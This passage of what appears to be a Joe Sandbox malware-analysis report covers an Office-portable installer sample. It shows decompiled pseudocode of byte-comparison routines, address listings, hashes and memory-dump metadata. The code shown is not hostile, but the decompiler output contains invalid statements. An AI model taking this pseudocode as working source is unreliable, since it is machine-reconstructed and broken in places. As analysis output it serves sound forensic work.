								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L14;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								goto L1;
							}
							goto L11;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L1;
						}
						goto L9;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L1;
					}
					goto L7;
				}
				L1:
				_t196 = _t245;
				return _t196;
			}

0x000d277e
0x000d277e
0x000d2784
0x000d280b
0x000d280d
0x000d280f
0x00000000
0x00000000
0x000d2815
0x000d281b
0x000d28a2
0x000d28a4
0x000d28a6
0x00000000
0x00000000
0x000d28ac
0x000d28b2
0x000d2939
0x000d293b
0x000d293d
0x00000000
0x00000000
0x000d2943
0x000d2949
0x000d29d0
0x000d29d2
0x000d29d4
0x00000000
0x00000000
0x000d29e0
0x000d2a68
0x000d2a6a
0x000d2a6c
0x00000000
0x00000000
0x000d2a72
0x000d2a78
0x000d2aff
0x000d2b01
0x000d2b03
0x00000000
0x00000000
0x000d2b09
0x000d2b0f
0x000d2b96
0x000d2b98
0x000d2b9a
0x00000000
0x00000000
0x000d2ba8
0x000d2baa
0x000d2bc2
0x000d2bca
0x000d2bcc
0x000d2326
0x000d232e
0x000d2330
0x000d233d
0x000d233d
0x00000000
0x000d2330
0x000d2bd9
0x000d2320
0x00000000
0x00000000
0x00000000
0x00000000
0x000d2320
0x000d2bb3
0x000d2bbc
0x00000000
0x00000000
0x00000000
0x000d2bbc
0x000d2b1c
0x000d2b1e
0x000d2b36
0x000d2b3e
0x000d2b40
0x000d2b58
0x000d2b60
0x000d2b62
0x000d2b7a
0x000d2b82
0x000d2b84
0x000d2b8d
0x000d2b8d
0x00000000
0x000d2b84
0x000d2b6b
0x000d2b74
0x00000000
0x00000000
0x00000000
0x000d2b74
0x000d2b49
0x000d2b52
0x00000000
0x00000000
0x00000000
0x000d2b52
0x000d2b27
0x000d2b30
0x00000000
0x00000000
0x00000000
0x000d2b30
0x000d2a85
0x000d2a87
0x000d2a9f
0x000d2aa7
0x000d2aa9
0x000d2ac1
0x000d2ac9
0x000d2acb
0x000d2ae3
0x000d2aeb
0x000d2aed
0x000d2af6
0x000d2af6
0x00000000
0x000d2aed
0x000d2ad4
0x000d2add
0x00000000
0x00000000
0x00000000
0x000d2add
0x000d2ab2
0x000d2abb
0x00000000
0x00000000
0x00000000
0x000d2abb
0x000d2a90
0x000d2a99
0x00000000
0x00000000
0x00000000
0x000d2a99
0x000d29ee
0x000d29f0
0x000d2a08
0x000d2a10
0x000d2a12
0x000d2a2a
0x000d2a32
0x000d2a34
0x000d2a4c
0x000d2a54
0x000d2a56
0x000d2a5f
0x000d2a5f
0x00000000
0x000d2a56
0x000d2a3d
0x000d2a46
0x00000000
0x00000000
0x00000000
0x000d2a46
0x000d2a1b
0x000d2a24
0x00000000
0x00000000
0x00000000
0x000d2a24
0x000d29f9
0x000d2a02
0x00000000
0x00000000
0x00000000
0x000d2a02
0x000d2956
0x000d2958
0x000d2970
0x000d2978
0x000d297a
0x000d2992
0x000d299a
0x000d299c
0x000d29b4
0x000d29bc
0x000d29be
0x000d29c7
0x000d29c7
0x00000000
0x000d29be
0x000d29a5
0x000d29ae
0x00000000
0x00000000
0x00000000
0x000d29ae
0x000d2983
0x000d298c
0x00000000
0x00000000
0x00000000
0x000d298c
0x000d2961
0x000d296a
0x00000000
0x00000000
0x00000000
0x000d296a
0x000d28bf
0x000d28c1
0x000d28d9
0x000d28e1
0x000d28e3
0x000d28fb
0x000d2903
0x000d2905
0x000d291d
0x000d2925
0x000d2927
0x000d2930
0x000d2930
0x00000000
0x000d2927
0x000d290e
0x000d2917
0x00000000
0x00000000
0x00000000
0x000d2917
0x000d28ec
0x000d28f5
0x00000000
0x00000000
0x00000000
0x000d28f5
0x000d28ca
0x000d28d3
0x00000000
0x00000000
0x00000000
0x000d28d3
0x000d2828
0x000d282a
0x000d2842
0x000d284a
0x000d284c
0x000d2864
0x000d286c
0x000d286e
0x000d2886
0x000d288e
0x000d2890
0x000d2899
0x000d2899
0x00000000
0x000d2890
0x000d2877
0x000d2880
0x00000000
0x00000000
0x00000000
0x000d2880
0x000d2855
0x000d285e
0x00000000
0x00000000
0x00000000
0x000d285e
0x000d2833
0x000d283c
0x00000000
0x00000000
0x00000000
0x000d278a
0x000d278a
0x000d2791
0x000d2793
0x000d27ab
0x000d27ab
0x000d27b3
0x000d27b5
0x000d27cd
0x000d27cd
0x000d27d5
0x000d27d7
0x000d27ef
0x000d27ef
0x000d27f7
0x000d27f9
0x000d2802
0x000d2802
0x00000000
0x000d27f9
0x000d27dd
0x000d27e0
0x000d27e9
0x00000000
0x00000000
0x00000000
0x000d27e9
0x000d27bb
0x000d27be
0x000d27c7
0x00000000
0x00000000
0x00000000
0x000d27c7
0x000d2799
0x000d279c
0x000d27a5
0x00000000
0x00000000
0x00000000
0x000d27a5
0x000d1f0c
0x000d1f0c
0x000d2cfc

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction ID: 001e9881a5c628fa28229500f2e6a3c752774e21bbc3b907023401e8df151922
Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction Fuzzy Hash: BAC175362052930ADFAD4639943417EBBE15FA17B231A17AFE4B2CB2D5EF10C564D630

Uniqueness

Uniqueness Score: -1.00%

Function 000D1F14, Relevance: .3, Instructions: 331
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E000D1F14(void* __edx, void* __esi) {
				signed int _t184;
				signed char _t185;
				signed char _t186;
				signed char _t187;
				signed char _t188;
				signed char _t190;
				signed int _t231;
				void* _t275;
				void* _t278;
				void* _t280;
				void* _t282;
				void* _t284;
				void* _t286;
				void* _t288;
				void* _t290;
				void* _t292;
				void* _t294;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				void* _t313;

				_t313 = __esi;
				_t275 = __edx;
				if( *((intOrPtr*)(__esi - 0x1d)) ==  *((intOrPtr*)(__edx - 0x1d))) {
					_t231 = 0;
					L11:
					if(_t231 != 0) {
						goto L1;
					}
					_t185 =  *(_t313 - 0x19);
					if(_t185 ==  *(_t275 - 0x19)) {
						_t231 = 0;
						L22:
						if(_t231 != 0) {
							goto L1;
						}
						_t186 =  *(_t313 - 0x15);
						if(_t186 ==  *(_t275 - 0x15)) {
							_t231 = 0;
							L33:
							if(_t231 != 0) {
								goto L1;
							}
							_t187 =  *(_t313 - 0x11);
							if(_t187 ==  *(_t275 - 0x11)) {
								_t231 = 0;
								L44:
								if(_t231 != 0) {
									goto L1;
								}
								_t188 =  *(_t313 - 0xd);
								if(_t188 ==  *(_t275 - 0xd)) {
									_t231 = 0;
									L55:
									if(_t231 != 0) {
										goto L1;
									}
									if( *(_t313 - 9) ==  *(_t275 - 9)) {
										_t231 = 0;
										L66:
										if(_t231 != 0) {
											goto L1;
										}
										_t190 =  *(_t313 - 5);
										if(_t190 ==  *(_t275 - 5)) {
											_t231 = 0;
											L77:
											if(_t231 == 0) {
												_t231 = ( *(_t313 - 1) & 0x000000ff) - ( *(_t275 - 1) & 0x000000ff);
												if(_t231 != 0) {
													_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
												}
											}
											goto L1;
										}
										_t278 = (_t190 & 0x000000ff) - ( *(_t275 - 5) & 0x000000ff);
										if(_t278 == 0) {
											L70:
											_t280 = ( *(_t313 - 4) & 0x000000ff) - ( *(_t275 - 4) & 0x000000ff);
											if(_t280 == 0) {
												L72:
												_t282 = ( *(_t313 - 3) & 0x000000ff) - ( *(_t275 - 3) & 0x000000ff);
												if(_t282 == 0) {
													L74:
													_t231 = ( *(_t313 - 2) & 0x000000ff) - ( *(_t275 - 2) & 0x000000ff);
													if(_t231 != 0) {
														_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
													}
													goto L77;
												}
												_t231 = (0 | _t282 > 0x00000000) * 2 - 1;
												if(_t231 != 0) {
													goto L1;
												}
												goto L74;
											}
											_t231 = (0 | _t280 > 0x00000000) * 2 - 1;
											if(_t231 != 0) {
												goto L1;
											}
											goto L72;
										}
										_t231 = (0 | _t278 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L70;
									}
									_t284 = ( *(_t313 - 9) & 0x000000ff) - ( *(_t275 - 9) & 0x000000ff);
									if(_t284 == 0) {
										L59:
										_t286 = ( *(_t313 - 8) & 0x000000ff) - ( *(_t275 - 8) & 0x000000ff);
										if(_t286 == 0) {
											L61:
											_t288 = ( *(_t313 - 7) & 0x000000ff) - ( *(_t275 - 7) & 0x000000ff);
											if(_t288 == 0) {
												L63:
												_t231 = ( *(_t313 - 6) & 0x000000ff) - ( *(_t275 - 6) & 0x000000ff);
												if(_t231 != 0) {
													_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
												}
												goto L66;
											}
											_t231 = (0 | _t288 > 0x00000000) * 2 - 1;
											if(_t231 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t231 = (0 | _t286 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t231 = (0 | _t284 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t290 = (_t188 & 0x000000ff) - ( *(_t275 - 0xd) & 0x000000ff);
								if(_t290 == 0) {
									L48:
									_t292 = ( *(_t313 - 0xc) & 0x000000ff) - ( *(_t275 - 0xc) & 0x000000ff);
									if(_t292 == 0) {
										L50:
										_t294 = ( *(_t313 - 0xb) & 0x000000ff) - ( *(_t275 - 0xb) & 0x000000ff);
										if(_t294 == 0) {
											L52:
											_t231 = ( *(_t313 - 0xa) & 0x000000ff) - ( *(_t275 - 0xa) & 0x000000ff);
											if(_t231 != 0) {
												_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
											}
											goto L55;
										}
										_t231 = (0 | _t294 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t231 = (0 | _t292 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t231 = (0 | _t290 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t296 = (_t187 & 0x000000ff) - ( *(_t275 - 0x11) & 0x000000ff);
							if(_t296 == 0) {
								L37:
								_t298 = ( *(_t313 - 0x10) & 0x000000ff) - ( *(_t275 - 0x10) & 0x000000ff);
								if(_t298 == 0) {
									L39:
									_t300 = ( *(_t313 - 0xf) & 0x000000ff) - ( *(_t275 - 0xf) & 0x000000ff);
									if(_t300 == 0) {
										L41:
										_t231 = ( *(_t313 - 0xe) & 0x000000ff) - ( *(_t275 - 0xe) & 0x000000ff);
										if(_t231 != 0) {
											_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
										}
										goto L44;
									}
									_t231 = (0 | _t300 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t231 = (0 | _t298 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t231 = (0 | _t296 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t302 = (_t186 & 0x000000ff) - ( *(_t275 - 0x15) & 0x000000ff);
						if(_t302 == 0) {
							L26:
							_t304 = ( *(_t313 - 0x14) & 0x000000ff) - ( *(_t275 - 0x14) & 0x000000ff);
							if(_t304 == 0) {
								L28:
								_t306 = ( *(_t313 - 0x13) & 0x000000ff) - ( *(_t275 - 0x13) & 0x000000ff);
								if(_t306 == 0) {
									L30:
									_t231 = ( *(_t313 - 0x12) & 0x000000ff) - ( *(_t275 - 0x12) & 0x000000ff);
									if(_t231 != 0) {
										_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
									}
									goto L33;
								}
								_t231 = (0 | _t306 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t231 = (0 | _t304 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t231 = (0 | _t302 > 0x00000000) * 2 - 1;
						if(_t231 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t308 = (_t185 & 0x000000ff) - ( *(_t275 - 0x19) & 0x000000ff);
					if(_t308 == 0) {
						L15:
						_t310 = ( *(_t313 - 0x18) & 0x000000ff) - ( *(_t275 - 0x18) & 0x000000ff);
						if(_t310 == 0) {
							L17:
							_t312 = ( *(_t313 - 0x17) & 0x000000ff) - ( *(_t275 - 0x17) & 0x000000ff);
							if(_t312 == 0) {
								L19:
								_t231 = ( *(_t313 - 0x16) & 0x000000ff) - ( *(_t275 - 0x16) & 0x000000ff);
								if(_t231 != 0) {
									_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
								}
								goto L22;
							}
							_t231 = (0 | _t312 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t231 = (0 | _t310 > 0x00000000) * 2 - 1;
						if(_t231 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t231 = (0 | _t308 > 0x00000000) * 2 - 1;
					if(_t231 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
					if(__edi == 0) {
						L4:
						__edi =  *(__esi - 0x1c) & 0x000000ff;
						__edi = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
						if(__edi == 0) {
							L6:
							__edi =  *(__esi - 0x1b) & 0x000000ff;
							__edi = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
							if(__edi == 0) {
								L8:
								__ecx =  *(__esi - 0x1a) & 0x000000ff;
								__ecx = ( *(__esi - 0x1a) & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L11;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t184 = _t231;
				return _t184;
			}

0x000d1f14
0x000d1f14
0x000d1f1a
0x000d1f91
0x000d1f93
0x000d1f95
0x00000000
0x00000000
0x000d1f9b
0x000d1fa1
0x000d2028
0x000d202a
0x000d202c
0x00000000
0x00000000
0x000d2032
0x000d2038
0x000d20bf
0x000d20c1
0x000d20c3
0x00000000
0x00000000
0x000d20c9
0x000d20cf
0x000d2156
0x000d2158
0x000d215a
0x00000000
0x00000000
0x000d2160
0x000d2166
0x000d21ed
0x000d21ef
0x000d21f1
0x00000000
0x00000000
0x000d21fd
0x000d2285
0x000d2287
0x000d2289
0x00000000
0x00000000
0x000d228f
0x000d2295
0x000d231c
0x000d231e
0x000d2320
0x000d232e
0x000d2330
0x000d233d
0x000d233d
0x000d2330
0x00000000
0x000d2320
0x000d22a2
0x000d22a4
0x000d22bc
0x000d22c4
0x000d22c6
0x000d22de
0x000d22e6
0x000d22e8
0x000d2300
0x000d2308
0x000d230a
0x000d2313
0x000d2313
0x00000000
0x000d230a
0x000d22f1
0x000d22fa
0x00000000
0x00000000
0x00000000
0x000d22fa
0x000d22cf
0x000d22d8
0x00000000
0x00000000
0x00000000
0x000d22d8
0x000d22ad
0x000d22b6
0x00000000
0x00000000
0x00000000
0x000d22b6
0x000d220b
0x000d220d
0x000d2225
0x000d222d
0x000d222f
0x000d2247
0x000d224f
0x000d2251
0x000d2269
0x000d2271
0x000d2273
0x000d227c
0x000d227c
0x00000000
0x000d2273
0x000d225a
0x000d2263
0x00000000
0x00000000
0x00000000
0x000d2263
0x000d2238
0x000d2241
0x00000000
0x00000000
0x00000000
0x000d2241
0x000d2216
0x000d221f
0x00000000
0x00000000
0x00000000
0x000d221f
0x000d2173
0x000d2175
0x000d218d
0x000d2195
0x000d2197
0x000d21af
0x000d21b7
0x000d21b9
0x000d21d1
0x000d21d9
0x000d21db
0x000d21e4
0x000d21e4
0x00000000
0x000d21db
0x000d21c2
0x000d21cb
0x00000000
0x00000000
0x00000000
0x000d21cb
0x000d21a0
0x000d21a9
0x00000000
0x00000000
0x00000000
0x000d21a9
0x000d217e
0x000d2187
0x00000000
0x00000000
0x00000000
0x000d2187
0x000d20dc
0x000d20de
0x000d20f6
0x000d20fe
0x000d2100
0x000d2118
0x000d2120
0x000d2122
0x000d213a
0x000d2142
0x000d2144
0x000d214d
0x000d214d
0x00000000
0x000d2144
0x000d212b
0x000d2134
0x00000000
0x00000000
0x00000000
0x000d2134
0x000d2109
0x000d2112
0x00000000
0x00000000
0x00000000
0x000d2112
0x000d20e7
0x000d20f0
0x00000000
0x00000000
0x00000000
0x000d20f0
0x000d2045
0x000d2047
0x000d205f
0x000d2067
0x000d2069
0x000d2081
0x000d2089
0x000d208b
0x000d20a3
0x000d20ab
0x000d20ad
0x000d20b6
0x000d20b6
0x00000000
0x000d20ad
0x000d2094
0x000d209d
0x00000000
0x00000000
0x00000000
0x000d209d
0x000d2072
0x000d207b
0x00000000
0x00000000
0x00000000
0x000d207b
0x000d2050
0x000d2059
0x00000000
0x00000000
0x00000000
0x000d2059
0x000d1fae
0x000d1fb0
0x000d1fc8
0x000d1fd0
0x000d1fd2
0x000d1fea
0x000d1ff2
0x000d1ff4
0x000d200c
0x000d2014
0x000d2016
0x000d201f
0x000d201f
0x00000000
0x000d2016
0x000d1ffd
0x000d2006
0x00000000
0x00000000
0x00000000
0x000d2006
0x000d1fdb
0x000d1fe4
0x00000000
0x00000000
0x00000000
0x000d1fe4
0x000d1fb9
0x000d1fc2
0x00000000
0x00000000
0x00000000
0x000d1f1c
0x000d1f1c
0x000d1f23
0x000d1f25
0x000d1f39
0x000d1f39
0x000d1f41
0x000d1f43
0x000d1f57
0x000d1f57
0x000d1f5f
0x000d1f61
0x000d1f75
0x000d1f75
0x000d1f7d
0x000d1f7f
0x000d1f88
0x000d1f88
0x00000000
0x000d1f7f
0x000d1f67
0x000d1f6a
0x000d1f73
0x00000000
0x00000000
0x00000000
0x000d1f73
0x000d1f49
0x000d1f4c
0x000d1f55
0x00000000
0x00000000
0x00000000
0x000d1f55
0x000d1f2b
0x000d1f2e
0x000d1f37
0x00000000
0x00000000
0x00000000
0x000d1f37
0x000d1f0c
0x000d1f0c
0x000d2cfc

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: b10201e591e4b867bfa726fd75aaf20b3f7dc4bb1b651dcc6d2ac38c6290bf3f
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 8CC1523620529309DFAD4739947417EBBE15BA27B231A07AFE4B2CB2D5EF10C564D630

Uniqueness

Uniqueness Score: -1.00%

Function 000D1AFC, Relevance: .3, Instructions: 323
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E000D1AFC(void* __edx, void* __esi) {
				signed char _t177;
				void* _t178;
				signed char _t179;
				signed char _t180;
				signed char _t181;
				signed char _t183;
				signed char _t184;
				void* _t228;
				void* _t278;
				void* _t281;
				void* _t283;
				void* _t285;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t305;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t319;
				void* _t321;
				void* _t322;

				_t322 = __esi;
				_t278 = __edx;
				_t177 =  *(__esi - 0x1c);
				if(_t177 ==  *(__edx - 0x1c)) {
					_t228 = 0;
					L10:
					if(_t228 != 0) {
						L78:
						_t178 = _t228;
						return _t178;
					}
					_t179 =  *(_t322 - 0x18);
					if(_t179 ==  *(_t278 - 0x18)) {
						_t228 = 0;
						L21:
						if(_t228 != 0) {
							goto L78;
						}
						_t180 =  *(_t322 - 0x14);
						if(_t180 ==  *(_t278 - 0x14)) {
							_t228 = 0;
							L32:
							if(_t228 != 0) {
								goto L78;
							}
							_t181 =  *(_t322 - 0x10);
							if(_t181 ==  *(_t278 - 0x10)) {
								_t228 = 0;
								L43:
								if(_t228 != 0) {
									goto L78;
								}
								if( *(_t322 - 0xc) ==  *(_t278 - 0xc)) {
									_t228 = 0;
									L54:
									if(_t228 != 0) {
										goto L78;
									}
									_t183 =  *(_t322 - 8);
									if(_t183 ==  *(_t278 - 8)) {
										_t228 = 0;
										L65:
										if(_t228 != 0) {
											goto L78;
										}
										_t184 =  *(_t322 - 4);
										if(_t184 ==  *(_t278 - 4)) {
											_t228 = 0;
											L76:
											if(_t228 == 0) {
												_t228 = 0;
											}
											goto L78;
										}
										_t281 = (_t184 & 0x000000ff) - ( *(_t278 - 4) & 0x000000ff);
										if(_t281 == 0) {
											L69:
											_t283 = ( *(_t322 - 3) & 0x000000ff) - ( *(_t278 - 3) & 0x000000ff);
											if(_t283 == 0) {
												L71:
												_t285 = ( *(_t322 - 2) & 0x000000ff) - ( *(_t278 - 2) & 0x000000ff);
												if(_t285 == 0) {
													L73:
													_t228 = ( *(_t322 - 1) & 0x000000ff) - ( *(_t278 - 1) & 0x000000ff);
													if(_t228 != 0) {
														_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
													}
													goto L76;
												}
												_t228 = (0 | _t285 > 0x00000000) * 2 - 1;
												if(_t228 != 0) {
													goto L78;
												}
												goto L73;
											}
											_t228 = (0 | _t283 > 0x00000000) * 2 - 1;
											if(_t228 != 0) {
												goto L78;
											}
											goto L71;
										}
										_t228 = (0 | _t281 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L69;
									}
									_t287 = (_t183 & 0x000000ff) - ( *(_t278 - 8) & 0x000000ff);
									if(_t287 == 0) {
										L58:
										_t289 = ( *(_t322 - 7) & 0x000000ff) - ( *(_t278 - 7) & 0x000000ff);
										if(_t289 == 0) {
											L60:
											_t291 = ( *(_t322 - 6) & 0x000000ff) - ( *(_t278 - 6) & 0x000000ff);
											if(_t291 == 0) {
												L62:
												_t228 = ( *(_t322 - 5) & 0x000000ff) - ( *(_t278 - 5) & 0x000000ff);
												if(_t228 != 0) {
													_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
												}
												goto L65;
											}
											_t228 = (0 | _t291 > 0x00000000) * 2 - 1;
											if(_t228 != 0) {
												goto L78;
											}
											goto L62;
										}
										_t228 = (0 | _t289 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L60;
									}
									_t228 = (0 | _t287 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L58;
								}
								_t293 = ( *(_t322 - 0xc) & 0x000000ff) - ( *(_t278 - 0xc) & 0x000000ff);
								if(_t293 == 0) {
									L47:
									_t295 = ( *(_t322 - 0xb) & 0x000000ff) - ( *(_t278 - 0xb) & 0x000000ff);
									if(_t295 == 0) {
										L49:
										_t297 = ( *(_t322 - 0xa) & 0x000000ff) - ( *(_t278 - 0xa) & 0x000000ff);
										if(_t297 == 0) {
											L51:
											_t228 = ( *(_t322 - 9) & 0x000000ff) - ( *(_t278 - 9) & 0x000000ff);
											if(_t228 != 0) {
												_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
											}
											goto L54;
										}
										_t228 = (0 | _t297 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L51;
									}
									_t228 = (0 | _t295 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L49;
								}
								_t228 = (0 | _t293 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L47;
							}
							_t299 = (_t181 & 0x000000ff) - ( *(_t278 - 0x10) & 0x000000ff);
							if(_t299 == 0) {
								L36:
								_t301 = ( *(_t322 - 0xf) & 0x000000ff) - ( *(_t278 - 0xf) & 0x000000ff);
								if(_t301 == 0) {
									L38:
									_t303 = ( *(_t322 - 0xe) & 0x000000ff) - ( *(_t278 - 0xe) & 0x000000ff);
									if(_t303 == 0) {
										L40:
										_t228 = ( *(_t322 - 0xd) & 0x000000ff) - ( *(_t278 - 0xd) & 0x000000ff);
										if(_t228 != 0) {
											_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
										}
										goto L43;
									}
									_t228 = (0 | _t303 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L40;
								}
								_t228 = (0 | _t301 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L38;
							}
							_t228 = (0 | _t299 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L36;
						}
						_t305 = (_t180 & 0x000000ff) - ( *(_t278 - 0x14) & 0x000000ff);
						if(_t305 == 0) {
							L25:
							_t307 = ( *(_t322 - 0x13) & 0x000000ff) - ( *(_t278 - 0x13) & 0x000000ff);
							if(_t307 == 0) {
								L27:
								_t309 = ( *(_t322 - 0x12) & 0x000000ff) - ( *(_t278 - 0x12) & 0x000000ff);
								if(_t309 == 0) {
									L29:
									_t228 = ( *(_t322 - 0x11) & 0x000000ff) - ( *(_t278 - 0x11) & 0x000000ff);
									if(_t228 != 0) {
										_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
									}
									goto L32;
								}
								_t228 = (0 | _t309 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L29;
							}
							_t228 = (0 | _t307 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L27;
						}
						_t228 = (0 | _t305 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L25;
					}
					_t311 = (_t179 & 0x000000ff) - ( *(_t278 - 0x18) & 0x000000ff);
					if(_t311 == 0) {
						L14:
						_t313 = ( *(_t322 - 0x17) & 0x000000ff) - ( *(_t278 - 0x17) & 0x000000ff);
						if(_t313 == 0) {
							L16:
							_t315 = ( *(_t322 - 0x16) & 0x000000ff) - ( *(_t278 - 0x16) & 0x000000ff);
							if(_t315 == 0) {
								L18:
								_t228 = ( *(_t322 - 0x15) & 0x000000ff) - ( *(_t278 - 0x15) & 0x000000ff);
								if(_t228 != 0) {
									_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
								}
								goto L21;
							}
							_t228 = (0 | _t315 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L18;
						}
						_t228 = (0 | _t313 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L16;
					}
					_t228 = (0 | _t311 > 0x00000000) * 2 - 1;
					if(_t228 != 0) {
						goto L78;
					}
					goto L14;
				}
				_t317 = (_t177 & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
				if(_t317 == 0) {
					L3:
					_t319 = ( *(_t322 - 0x1b) & 0x000000ff) - ( *(_t278 - 0x1b) & 0x000000ff);
					if(_t319 == 0) {
						L5:
						_t321 = ( *(_t322 - 0x1a) & 0x000000ff) - ( *(_t278 - 0x1a) & 0x000000ff);
						if(_t321 == 0) {
							L7:
							_t228 = ( *(_t322 - 0x19) & 0x000000ff) - ( *(_t278 - 0x19) & 0x000000ff);
							if(_t228 != 0) {
								_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
							}
							goto L10;
						}
						_t228 = (0 | _t321 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L7;
					}
					_t228 = (0 | _t319 > 0x00000000) * 2 - 1;
					if(_t228 != 0) {
						goto L78;
					}
